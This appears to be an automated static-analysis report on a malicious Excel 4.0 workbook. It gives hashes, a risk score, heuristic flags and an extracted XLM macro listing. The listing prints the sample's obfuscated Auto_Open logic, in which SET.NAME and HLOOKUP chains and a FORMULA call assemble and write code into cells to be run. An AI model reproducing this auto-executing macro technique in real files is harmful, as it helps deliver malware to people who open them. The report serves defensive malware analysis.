Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 95a6100ea9f79767…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:59 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 081f87364620874ec997265a3daec2e8 SHA-1: 2d89ad8d64b55c8217df692fb759b4787ddac943 SHA-256: 95a6100ea9f79767db59aba8cf017cd548c3d37873c271e872761c905ada587e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6454 bytes
SHA-256: 87d6dafb7b9a0fec434ce73067793e86f5806137f334bc06b32e0d16ee1c4260
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VxkRc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I148 
' 0018     21 LABEL : Cell Value, String Constant - bBbjyB len=0 
' 0018     20 LABEL : Cell Value, String Constant - cbLMW len=0 
' 0018     21 LABEL : Cell Value, String Constant - DVZhpQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - dyNcbBnH len=0 
' 0018     25 LABEL : Cell Value, String Constant - hJlHHgkIfP len=0 
' 0018     24 LABEL : Cell Value, String Constant - HTtTJRyAi len=0 
' 0018     23 LABEL : Cell Value, String Constant - IHPoLmtl len=0 
' 0018     24 LABEL : Cell Value, String Constant - LkEuTnmBL len=0 
' 0018     21 LABEL : Cell Value, String Constant - LYOeor len=0 
' 0018     24 LABEL : Cell Value, String Constant - nrzZSqEEp len=0 
' 0018     20 LABEL : Cell Value, String Constant - PnAZq len=0 
' 0018     24 LABEL : Cell Value, String Constant - pYrBkPGjK len=0 
' 0018     22 LABEL : Cell Value, String Constant - RWAHKPa len=0 
' 0018     24 LABEL : Cell Value, String Constant - tKFrrIRbB len=0 
' 0018     23 LABEL : Cell Value, String Constant - UaMmwLUS len=0 
' 0018     23 LABEL : Cell Value, String Constant - UtHEyvvx len=0 
' 0018     21 LABEL : Cell Value, String Constant - xEGcea len=0 
' 0018     24 LABEL : Cell Value, String Constant - XuKcwvfNM len=0 
' 0018     24 LABEL : Cell Value, String Constant - YtgCkkXiI len=0 
' 0018     23 LABEL : Cell Value, String Constant - YvUvMwPP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VxkRc,I65,"SET.NAME("LkEuTnmBL",VALUE("0"))",""
'  VxkRc,I67,"SET.NAME("UtHEyvvx",LkEuTnmBL)",""
'  VxkRc,I69,"SET.NAME("HTtTJRyAi",LkEuTnmBL)",""
'  VxkRc,I71,"SET.NAME("xEGcea",COUNTA(YtgCkkXiI))",""
'  VxkRc,I74,"SET.NAME("bBbjyB",COUNTA(UaMmwLUS))",""
'  VxkRc,I78,[],""
'  VxkRc,I82,"SET.NAME("PnAZq","")",""
'  VxkRc,I87,"UtHEyvvx",""
'  VxkRc,I89,"SET.NAME("YvUvMwPP",HLOOKUP("*",YtgCkkXiI,UtHEyvvx,FALSE))",""
'  VxkRc,I94,"DVZhpQ",""
'  VxkRc,I99,"SET.NAME("LYOeor",LkEuTnmBL)",""
'  VxkRc,I101,[],""
'  VxkRc,I105,"LYOeor",""
'  VxkRc,I107,"hJlHHgkIfP",""
'  VxkRc,I112,"tKFrrIRbB",""
'  VxkRc,I114,"XuKcwvfNM",""
'  VxkRc,I117,"SET.NAME("nrzZSqEEp",VALUE(HLOOKUP("*",UaMmwLUS,XuKcwvfNM,FALSE)))",""
'  VxkRc,I121,"pYrBkPGjK",""
'  VxkRc,I126,"PnAZq",""
'  VxkRc,I128,"HTtTJRyAi",""
'  VxkRc,I130,NEXT(),""
'  VxkRc,I133,"RWAHKPa",""
'  VxkRc,I137,"SET.NAME("f",INT(T(FORMULA(T(PnAZq)&"",""&T(RWAHKPa)))))",""
'  VxkRc,I139,"IHPoLmtl",""
'  VxkRc,I141,NEXT(),""
'  VxkRc,I143,RETURN(),""
'  VxkRc,I169,"SET.NAME("dyNcbBnH",I65)",""
'  VxkRc,I174,"YtgCkkXiI",""
'  VxkRc,I179,"SET.NAME("UaMmwLUS",R69C14)",""
'  VxkRc,I184,"SET.NAME("IHPoLmtl",193)",""
'  VxkRc,I188,"SET.NAME("cbLMW",9)",""
'  VxkRc,I192,dyNcbBnH(),""
'  VxkRc,I193,HALT(),""

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